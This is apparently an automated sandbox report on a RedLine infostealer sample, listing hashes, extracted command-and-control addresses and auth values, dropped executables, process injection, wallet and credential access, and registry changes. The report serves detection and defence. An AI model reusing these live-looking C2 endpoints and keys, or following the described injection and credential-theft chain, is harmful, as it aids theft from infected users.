redline | 391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017

Analysis

max time kernel
150s
max time network
150s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
07-10-2022 05:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe
Size

1.7MB
MD5

7d2177241b4fa57a9e3e6de208875025
SHA1

b8c1d3171e82de04821ff213bd298c368c4c0b0f
SHA256

391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017
SHA512

b3071a54f6c94085be43e5093c0acb62c12dbe8d6ccfeb474e46741e255c6aec3c2e8f8bf9b2380791fee33feda75d4540bdbfc17da9bb040ea47e797b276f5a
SSDEEP

49152:Vz/r2pelcD7gxpL4zMdZYkuFUFeDsHpWkIxXBR0:Vz/r2olcWL4zcD4TR

Score

10^/10

redline @moriwws h infostealer spyware

Malware Config

Extracted

Family

redline

185.186.142.127:17355

Attributes

auth_value
2d7be1ed915f7e5f91af0977d4175cb7

Extracted

Family

redline

Botnet

@moriwWs

litrazalilibe.xyz:81

Attributes

auth_value
c2f987b4e6cd55ad1315311e92563eca

Extracted

Family

redline

Botnet

185.106.92.139:16578

Attributes

auth_value
d5aafe5ab67bae4a3f7cda3b2e30f9b7

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/112564-520-0x000000000041ADC2-mapping.dmp	family_redline
behavioral1/memory/112564-653-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/139424-749-0x000000000041ADC2-mapping.dmp	family_redline
C:\Users\Admin\AppData\Roaming\T5I89B3US0ZCQ3C\app.exe	family_redline
C:\Users\Admin\AppData\Roaming\T5I89B3US0ZCQ3C\app.exe	family_redline
behavioral1/memory/144660-1905-0x00000000004F0000-0x0000000000510000-memory.dmp	family_redline

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 2828 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 11 IoCs

Processes:

ba.exesg.exesg.exerog.exexerax.exegor.exerog.exexerax.exegor.exegg.exeapp.exe

pid process

4316 ba.exe
1200 sg.exe
4224 sg.exe
5100 rog.exe
19016 xerax.exe
19236 gor.exe
19284 rog.exe
19304 xerax.exe
23568 gor.exe
76012 gg.exe
144660 app.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

flow	pid	process
11	2828	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

xerax.exexerax.exerog.exerog.exe

description	pid	process	target process
PID 19016 set thread context of 132628	19016	xerax.exe	AppLaunch.exe
PID 19304 set thread context of 70572	19304	xerax.exe	AppLaunch.exe
PID 19284 set thread context of 112564	19284	rog.exe	AppLaunch.exe
PID 5100 set thread context of 139424	5100	rog.exe	AppLaunch.exe

Drops file in Windows directory 3 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CRLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\discord.com\Total = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 7881939a22dad801	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Telligent	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\discord.com	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Discuz!	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = 007377e854dad801	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CTLs	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\FileVersion = "2016061511"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 942d288a22dad801	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = d778778c22dad801	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = c0811452f3f2d801	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\discord.com	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

ba.exepowershell.exepowershell.exeAppLaunch.exeAppLaunch.exeAppLaunch.exeAppLaunch.exe

pid	process
4316	ba.exe
4316	ba.exe
2828	powershell.exe
2828	powershell.exe
2828	powershell.exe
4228	powershell.exe
4228	powershell.exe
4228	powershell.exe
4228	powershell.exe
4228	powershell.exe
132628	AppLaunch.exe
132628	AppLaunch.exe
70572	AppLaunch.exe
70572	AppLaunch.exe
112564	AppLaunch.exe
139424	AppLaunch.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

MicrosoftEdgeCP.exe

pid process

140680 MicrosoftEdgeCP.exe
140680 MicrosoftEdgeCP.exe

pid	process
140680	MicrosoftEdgeCP.exe
140680	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

ba.exepowershell.exepowershell.exeMicrosoftEdge.exeAppLaunch.exeAppLaunch.exeAppLaunch.exeMicrosoftEdgeCP.exeAppLaunch.exegg.exeMicrosoftEdgeCP.exe

description	pid	process
Token: SeDebugPrivilege	4316	ba.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	112680	MicrosoftEdge.exe
Token: SeDebugPrivilege	112680	MicrosoftEdge.exe
Token: SeDebugPrivilege	112680	MicrosoftEdge.exe
Token: SeDebugPrivilege	112680	MicrosoftEdge.exe
Token: SeDebugPrivilege	132628	AppLaunch.exe
Token: SeDebugPrivilege	70572	AppLaunch.exe
Token: SeDebugPrivilege	112564	AppLaunch.exe
Token: SeDebugPrivilege	141368	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	141368	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	141368	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	141368	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	139424	AppLaunch.exe
Token: SeDebugPrivilege	76012	gg.exe
Token: SeDebugPrivilege	144380	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	144380	MicrosoftEdgeCP.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

112680 MicrosoftEdge.exe
140680 MicrosoftEdgeCP.exe
140680 MicrosoftEdgeCP.exe

pid	process
112680	MicrosoftEdge.exe
140680	MicrosoftEdgeCP.exe
140680	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exeba.exesg.exepowershell.exesg.exexerax.exexerax.exerog.exerog.exeMicrosoftEdgeCP.exegg.exe

description	pid	process	target process
PID 3068 wrote to memory of 4316	3068	391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe	ba.exe
PID 3068 wrote to memory of 4316	3068	391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe	ba.exe
PID 4316 wrote to memory of 2828	4316	ba.exe	powershell.exe
PID 4316 wrote to memory of 2828	4316	ba.exe	powershell.exe
PID 3068 wrote to memory of 1200	3068	391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe	sg.exe
PID 3068 wrote to memory of 1200	3068	391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe	sg.exe
PID 3068 wrote to memory of 1200	3068	391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe	sg.exe
PID 4316 wrote to memory of 4224	4316	ba.exe	sg.exe
PID 4316 wrote to memory of 4224	4316	ba.exe	sg.exe
PID 4316 wrote to memory of 4224	4316	ba.exe	sg.exe
PID 4316 wrote to memory of 4228	4316	ba.exe	powershell.exe
PID 4316 wrote to memory of 4228	4316	ba.exe	powershell.exe
PID 1200 wrote to memory of 5100	1200	sg.exe	rog.exe
PID 1200 wrote to memory of 5100	1200	sg.exe	rog.exe
PID 1200 wrote to memory of 5100	1200	sg.exe	rog.exe
PID 1200 wrote to memory of 19016	1200	sg.exe	xerax.exe
PID 1200 wrote to memory of 19016	1200	sg.exe	xerax.exe
PID 1200 wrote to memory of 19016	1200	sg.exe	xerax.exe
PID 4228 wrote to memory of 19196	4228	powershell.exe	explorer.exe
PID 4228 wrote to memory of 19196	4228	powershell.exe	explorer.exe
PID 1200 wrote to memory of 19236	1200	sg.exe	gor.exe
PID 1200 wrote to memory of 19236	1200	sg.exe	gor.exe
PID 1200 wrote to memory of 19236	1200	sg.exe	gor.exe
PID 4224 wrote to memory of 19284	4224	sg.exe	rog.exe
PID 4224 wrote to memory of 19284	4224	sg.exe	rog.exe
PID 4224 wrote to memory of 19284	4224	sg.exe	rog.exe
PID 4224 wrote to memory of 19304	4224	sg.exe	xerax.exe
PID 4224 wrote to memory of 19304	4224	sg.exe	xerax.exe
PID 4224 wrote to memory of 19304	4224	sg.exe	xerax.exe
PID 4224 wrote to memory of 23568	4224	sg.exe	gor.exe
PID 4224 wrote to memory of 23568	4224	sg.exe	gor.exe
PID 4224 wrote to memory of 23568	4224	sg.exe	gor.exe
PID 4224 wrote to memory of 76012	4224	sg.exe	gg.exe
PID 4224 wrote to memory of 76012	4224	sg.exe	gg.exe
PID 4224 wrote to memory of 76012	4224	sg.exe	gg.exe
PID 19016 wrote to memory of 132628	19016	xerax.exe	AppLaunch.exe
PID 19016 wrote to memory of 132628	19016	xerax.exe	AppLaunch.exe
PID 19016 wrote to memory of 132628	19016	xerax.exe	AppLaunch.exe
PID 19016 wrote to memory of 132628	19016	xerax.exe	AppLaunch.exe
PID 19016 wrote to memory of 132628	19016	xerax.exe	AppLaunch.exe
PID 19304 wrote to memory of 70572	19304	xerax.exe	AppLaunch.exe
PID 19304 wrote to memory of 70572	19304	xerax.exe	AppLaunch.exe
PID 19304 wrote to memory of 70572	19304	xerax.exe	AppLaunch.exe
PID 19304 wrote to memory of 70572	19304	xerax.exe	AppLaunch.exe
PID 19284 wrote to memory of 112564	19284	rog.exe	AppLaunch.exe
PID 19284 wrote to memory of 112564	19284	rog.exe	AppLaunch.exe
PID 19284 wrote to memory of 112564	19284	rog.exe	AppLaunch.exe
